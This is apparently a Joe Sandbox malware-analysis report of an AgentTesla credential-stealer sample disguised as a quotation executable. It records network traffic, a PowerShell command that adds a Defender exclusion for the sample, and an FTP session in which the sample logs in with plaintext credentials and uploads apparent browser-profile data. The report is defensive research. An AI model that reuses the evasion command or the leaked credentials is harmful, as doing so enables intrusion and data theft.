RT_MANIFEST	0x16cec	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-04T09:29:22.239239+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.4	49746	TCP
2024-11-04T09:30:00.097094+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.4	49749	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2024 09:29:06.069510937 CET	49730	443	192.168.2.4	172.67.74.152
Nov 4, 2024 09:29:06.069555998 CET	443	49730	172.67.74.152	192.168.2.4
Nov 4, 2024 09:29:06.069622040 CET	49730	443	192.168.2.4	172.67.74.152
Nov 4, 2024 09:29:06.080750942 CET	49730	443	192.168.2.4	172.67.74.152
Nov 4, 2024 09:29:06.080766916 CET	443	49730	172.67.74.152	192.168.2.4
Nov 4, 2024 09:29:06.702867985 CET	443	49730	172.67.74.152	192.168.2.4
Nov 4, 2024 09:29:06.702933073 CET	49730	443	192.168.2.4	172.67.74.152
Nov 4, 2024 09:29:06.706264973 CET	49730	443	192.168.2.4	172.67.74.152
Nov 4, 2024 09:29:06.706273079 CET	443	49730	172.67.74.152	192.168.2.4
Nov 4, 2024 09:29:06.706549883 CET	443	49730	172.67.74.152	192.168.2.4
Nov 4, 2024 09:29:06.756705999 CET	49730	443	192.168.2.4	172.67.74.152
Nov 4, 2024 09:29:06.775237083 CET	49730	443	192.168.2.4	172.67.74.152
Nov 4, 2024 09:29:06.815335035 CET	443	49730	172.67.74.152	192.168.2.4
Nov 4, 2024 09:29:06.948879957 CET	443	49730	172.67.74.152	192.168.2.4
Nov 4, 2024 09:29:06.948947906 CET	443	49730	172.67.74.152	192.168.2.4
Nov 4, 2024 09:29:06.949042082 CET	49730	443	192.168.2.4	172.67.74.152
Nov 4, 2024 09:29:06.954989910 CET	49730	443	192.168.2.4	172.67.74.152
Nov 4, 2024 09:29:06.969850063 CET	49732	80	192.168.2.4	208.95.112.1
Nov 4, 2024 09:29:06.974797964 CET	80	49732	208.95.112.1	192.168.2.4
Nov 4, 2024 09:29:06.974860907 CET	49732	80	192.168.2.4	208.95.112.1
Nov 4, 2024 09:29:06.974951029 CET	49732	80	192.168.2.4	208.95.112.1
Nov 4, 2024 09:29:06.979809999 CET	80	49732	208.95.112.1	192.168.2.4
Nov 4, 2024 09:29:07.568665981 CET	80	49732	208.95.112.1	192.168.2.4
Nov 4, 2024 09:29:07.616034031 CET	49732	80	192.168.2.4	208.95.112.1
Nov 4, 2024 09:29:08.668884993 CET	49732	80	192.168.2.4	208.95.112.1
Nov 4, 2024 09:29:08.674462080 CET	80	49732	208.95.112.1	192.168.2.4
Nov 4, 2024 09:29:08.674537897 CET	49732	80	192.168.2.4	208.95.112.1
Nov 4, 2024 09:29:09.090272903 CET	49734	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:09.095139027 CET	21	49734	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:09.095204115 CET	49734	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:09.098787069 CET	49734	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:09.104252100 CET	21	49734	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:09.104322910 CET	49734	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:09.133035898 CET	49735	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:09.137883902 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:09.137950897 CET	49735	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:09.702486992 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:09.702721119 CET	49735	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:09.707674026 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:09.859692097 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:09.860779047 CET	49735	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:09.865601063 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:10.127969980 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:10.128094912 CET	49735	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:10.132939100 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:10.285300016 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:10.285429955 CET	49735	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:10.290302038 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:10.660753012 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:10.661011934 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:10.661056042 CET	49735	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:10.661103964 CET	49735	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:10.666042089 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:10.817913055 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:10.818053007 CET	49735	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:10.822921991 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:10.975305080 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:10.975976944 CET	49739	31892	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:10.980910063 CET	31892	49739	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:10.980967045 CET	49739	31892	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:10.981091022 CET	49735	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:10.985897064 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:11.519942999 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:11.520200014 CET	49739	31892	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:11.520242929 CET	49739	31892	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:11.525335073 CET	31892	49739	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:11.525352955 CET	31892	49739	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:11.525366068 CET	31892	49739	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:11.526205063 CET	31892	49739	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:11.527688980 CET	49739	31892	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:11.569206953 CET	49735	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:11.676512957 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:11.676943064 CET	49735	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:11.681854010 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:11.834021091 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:11.837044001 CET	49740	32771	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:11.841932058 CET	32771	49740	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:11.842767954 CET	49740	32771	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:11.842813015 CET	49735	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:11.847626925 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:12.406203985 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:12.406462908 CET	49740	32771	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:12.412647963 CET	32771	49740	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:12.412731886 CET	49740	32771	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:12.459814072 CET	49735	21	192.168.2.4	192.254.225.136
Nov 4, 2024 09:29:12.562563896 CET	21	49735	192.254.225.136	192.168.2.4
Nov 4, 2024 09:29:12.616055012 CET	49735	21	192.168.2.4	192.254.225.136

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2024 09:29:06.051784039 CET	63752	53	192.168.2.4	1.1.1.1
Nov 4, 2024 09:29:06.058881044 CET	53	63752	1.1.1.1	192.168.2.4
Nov 4, 2024 09:29:06.962395906 CET	59012	53	192.168.2.4	1.1.1.1
Nov 4, 2024 09:29:06.969326019 CET	53	59012	1.1.1.1	192.168.2.4
Nov 4, 2024 09:29:08.672437906 CET	51599	53	192.168.2.4	1.1.1.1
Nov 4, 2024 09:29:09.088629961 CET	53	51599	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 4, 2024 09:29:06.051784039 CET	192.168.2.4	1.1.1.1	0xaf2e	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Nov 4, 2024 09:29:06.962395906 CET	192.168.2.4	1.1.1.1	0x2a03	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Nov 4, 2024 09:29:08.672437906 CET	192.168.2.4	1.1.1.1	0xdecc	Standard query (0)	ftp.ercolina-usa.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 4, 2024 09:29:06.058881044 CET	1.1.1.1	192.168.2.4	0xaf2e	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Nov 4, 2024 09:29:06.058881044 CET	1.1.1.1	192.168.2.4	0xaf2e	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Nov 4, 2024 09:29:06.058881044 CET	1.1.1.1	192.168.2.4	0xaf2e	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Nov 4, 2024 09:29:06.969326019 CET	1.1.1.1	192.168.2.4	0x2a03	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Nov 4, 2024 09:29:09.088629961 CET	1.1.1.1	192.168.2.4	0xdecc	No error (0)	ftp.ercolina-usa.com	ercolina-usa.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 4, 2024 09:29:09.088629961 CET	1.1.1.1	192.168.2.4	0xdecc	No error (0)	ercolina-usa.com		192.254.225.136	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	208.95.112.1	80	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:29:06.974951029 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Nov 4, 2024 09:29:07.568665981 CET	174	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 08:29:06 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.74.152	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 08:29:06 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-11-04 08:29:06 UTC	399	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 08:29:06 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8dd33c05cd203168-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1542&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=769&delivery_rate=1878080&cwnd=250&unsent_bytes=0&cid=9daf3dbdef266d31&ts=256&x=0"
2024-11-04 08:29:06 UTC	14	IN	Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 Data Ascii: 173.254.250.69

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 4, 2024 09:29:09.702486992 CET	21	49735	192.254.225.136	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 150 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 150 allowed.220-Local time is now 03:29. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 150 allowed.220-Local time is now 03:29. Server port: 21.220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 150 allowed.220-Local time is now 03:29. Server port: 21.220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Nov 4, 2024 09:29:09.702721119 CET	49735	21	192.168.2.4	192.254.225.136	USER admin@ercolina-usa.com
Nov 4, 2024 09:29:09.859692097 CET	21	49735	192.254.225.136	192.168.2.4	331 User admin@ercolina-usa.com OK. Password required
Nov 4, 2024 09:29:09.860779047 CET	49735	21	192.168.2.4	192.254.225.136	PASS ,%EVY$JU0=lu
Nov 4, 2024 09:29:10.127969980 CET	21	49735	192.254.225.136	192.168.2.4	230 OK. Current restricted directory is /
Nov 4, 2024 09:29:10.285300016 CET	21	49735	192.254.225.136	192.168.2.4	504 Unknown command
Nov 4, 2024 09:29:10.285429955 CET	49735	21	192.168.2.4	192.254.225.136	PWD
Nov 4, 2024 09:29:10.660753012 CET	21	49735	192.254.225.136	192.168.2.4	257 "/" is your current location
Nov 4, 2024 09:29:10.661011934 CET	21	49735	192.254.225.136	192.168.2.4	257 "/" is your current location
Nov 4, 2024 09:29:10.661103964 CET	49735	21	192.168.2.4	192.254.225.136	TYPE I
Nov 4, 2024 09:29:10.817913055 CET	21	49735	192.254.225.136	192.168.2.4	200 TYPE is now 8-bit binary
Nov 4, 2024 09:29:10.818053007 CET	49735	21	192.168.2.4	192.254.225.136	PASV
Nov 4, 2024 09:29:10.975305080 CET	21	49735	192.254.225.136	192.168.2.4	227 Entering Passive Mode (192,254,225,136,124,148)
Nov 4, 2024 09:29:10.981091022 CET	49735	21	192.168.2.4	192.254.225.136	STOR CO_Chrome_Default.txt_user-849224_2024_11_04_05_58_51.txt
Nov 4, 2024 09:29:11.519942999 CET	21	49735	192.254.225.136	192.168.2.4	150 Accepted data connection
Nov 4, 2024 09:29:11.676512957 CET	21	49735	192.254.225.136	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.156 seconds (measured here), 20.99 Kbytes per second
Nov 4, 2024 09:29:11.676943064 CET	49735	21	192.168.2.4	192.254.225.136	PASV
Nov 4, 2024 09:29:11.834021091 CET	21	49735	192.254.225.136	192.168.2.4	227 Entering Passive Mode (192,254,225,136,128,3)
Nov 4, 2024 09:29:11.842813015 CET	49735	21	192.168.2.4	192.254.225.136	STOR CO_Firefox_fqs92o4p.default-release.txt_user-849224_2024_11_04_09_27_41.txt
Nov 4, 2024 09:29:12.406203985 CET	21	49735	192.254.225.136	192.168.2.4	150 Accepted data connection
Nov 4, 2024 09:29:12.562563896 CET	21	49735	192.254.225.136	192.168.2.4	226 File successfully transferred

Target ID:	0
Start time:	03:29:02
Start date:	04/11/2024
Path:	C:\Users\user\Desktop\QUOTATION#09678.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\QUOTATION#09678.exe"
Imagebase:	0x1f3ce260000
File size:	2'313'878 bytes
MD5 hash:	B415558B19C70C201F8787E507D09B93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1895673807.000001F3D03FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1896304643.000001F3E0037000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1896304643.000001F3E0037000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:29:02
Start date:	04/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:29:04
Start date:	04/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:29:04
Start date:	04/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:29:04
Start date:	04/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x7ff7699e0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.4171451807.0000000002DDD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.4171451807.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.4171451807.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.4168843900.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.4168843900.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	03:29:04
Start date:	04/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x2d0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:29:05
Start date:	04/11/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 1104 -s 1516
Imagebase:	0x7ff6f4ea0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:29:08
Start date:	04/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	13.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFD9B88E395 Relevance: 3.2, Strings: 1, Instructions: 1974COMMON

Download Yara Rule

Strings

YN_H, xrefs: 00007FFD9B88E48E

Memory Dump Source

Source File: 00000000.00000002.1897616193.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID: YN_H
API String ID: 0-2824976327
Opcode ID: 8b5b10e46167f0b2f24f2e84eb52c958634b9862b70292645aa2048545312017
Instruction ID: 18f3bae2384a7c7af3ce6aa0e21db3350e2210b0dcf58f57fd700638fff117fd
Opcode Fuzzy Hash: 8b5b10e46167f0b2f24f2e84eb52c958634b9862b70292645aa2048545312017
Instruction Fuzzy Hash: 07D28B3060DF494FE369DB28C4A04B5B7E2FF99301B1445BED49AC72A6DE38E946C781

Function 00007FFD9B950050 Relevance: 2.2, Instructions: 2248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1897842808.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b950000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31c1e3287185edea88d65e7b003492a7b02b8bffdca292f908ce4cc46717006b
Instruction ID: 2e3e10897f60df47dbd326c7f48465920c015fa082e5c2b0a51a2973b07f80ea
Opcode Fuzzy Hash: 31c1e3287185edea88d65e7b003492a7b02b8bffdca292f908ce4cc46717006b
Instruction Fuzzy Hash: F2E25D71A1F7C94FDB66CBA888755A47FE0FF56300F0A01FED489CB1A2DA686946C341

Function 00007FFD9B883F90 Relevance: 2.0, Instructions: 2001COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1897616193.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f93e9ebc0b9aad3872d26314adb93b4beb7d6d0fd7663c655ffe779dfb0ac33
Instruction ID: 3620ab949f78cf3858a4d885d34e6350a54913f9dcbabecafe118f1c60f84723
Opcode Fuzzy Hash: 8f93e9ebc0b9aad3872d26314adb93b4beb7d6d0fd7663c655ffe779dfb0ac33
Instruction Fuzzy Hash: CAE27730A0EA4E4FEB69CB2484A15B57BE1FF99300F1541BDD49EC75E2DE38A946C780

Function 00007FFD9B880810 Relevance: 2.0, Strings: 1, Instructions: 713
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 00007FFD9B88482F

Memory Dump Source

Source File: 00000000.00000002.1897616193.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 85a05442ed87d0d03b729734defb4339d09a288fd7eb1b5e4357230d28b2c2ec
Instruction ID: ba7f0d8db29d0015b9d5e6f587b3ffc48b18463acaf0cc0ab5f60f45f70b39ee
Opcode Fuzzy Hash: 85a05442ed87d0d03b729734defb4339d09a288fd7eb1b5e4357230d28b2c2ec
Instruction Fuzzy Hash: 42226632A1DE494FE769DB6898A157177D0EF49310B1901BDD4AEC71ABEE38F8438780

Function 00007FFD9B883FA0 Relevance: 1.8, Strings: 1, Instructions: 514
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fish, xrefs: 00007FFD9B884130

Memory Dump Source

Source File: 00000000.00000002.1897616193.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID: fish
API String ID: 0-1064584243
Opcode ID: a2f51ebb019157b5bb14dae3c3fe04686398fff8ba3bb5497c6c47fc319123cd
Instruction ID: 1aaac083fc62e53c4f59f3cc1c36e4970a1481dc20e03392e2f4be3f010b918f
Opcode Fuzzy Hash: a2f51ebb019157b5bb14dae3c3fe04686398fff8ba3bb5497c6c47fc319123cd
Instruction Fuzzy Hash: 7EE16C32B1EF490FE7689B6C98654B977D1FF99310B0541BFE09AC71E7ED24A9028381

Function 00007FFD9B88BA11 Relevance: 1.4, Instructions: 1365
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1897616193.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b741bcf25128a5e7f23a69a6d1be3261123ce31d5e6c8275856431a548cd15e9
Instruction ID: 7308a8447c1c32a2202ecd55bbdb514ed83921461c35aafd34d279c44420d408
Opcode Fuzzy Hash: b741bcf25128a5e7f23a69a6d1be3261123ce31d5e6c8275856431a548cd15e9
Instruction Fuzzy Hash: FEA2473060DB4A4FE729DB28C4A44B5B7E1FF89300B1545BED49AC72B6DE39E946CB40

Function 00007FFD9B888E18 Relevance: .9, Instructions: 924
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1897616193.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d816ea618cfb0b6a0a78927af9ef568c9de100599f14a1ca4805dbaefb9aec18
Instruction ID: 1fcb6425dea2e223265acecfa4b8500000f9bdc3d0ea1f2283d79785ef6911e3
Opcode Fuzzy Hash: d816ea618cfb0b6a0a78927af9ef568c9de100599f14a1ca4805dbaefb9aec18
Instruction Fuzzy Hash: 7352C430B09A0D4FDB68EB68D865A7977E1FF59300B1501BEE45EC72A2DE34ED428B41

Function 00007FFD9B88B630 Relevance: .4, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1897616193.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b27582cea2bf5997bd92132d5e546927474dc5bb9fac9cf91aea24a6cfaaeab
Instruction ID: 08ae9af20ccfeb4f97814a1b653f01a3f5cdf901398a8dafc06c388b77d1f7d4
Opcode Fuzzy Hash: 0b27582cea2bf5997bd92132d5e546927474dc5bb9fac9cf91aea24a6cfaaeab
Instruction Fuzzy Hash: 72C16930A0DF9A4FE329CB2588A5171B7E1FFD9301B15467ED4E6C32B2DA38A546C781

Function 00007FFD9B894589 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1897616193.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 487450319c019740a676d631b622d824ca9a87eee6964fec6d74ccd04a6d3d75
Instruction ID: 1753035d4118c82a366cf0afb9d5cadec04d8c5793763c71a5563358830a59d5
Opcode Fuzzy Hash: 487450319c019740a676d631b622d824ca9a87eee6964fec6d74ccd04a6d3d75
Instruction Fuzzy Hash: FB516E31B0D74D0FD71E9B7898211A57BE1EB87310B0582BFD48AC71E7EC24594683C2

Function 00007FFD9B88267A Relevance: 1.6, APIs: 1, Instructions: 145
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD9B88275A

Memory Dump Source

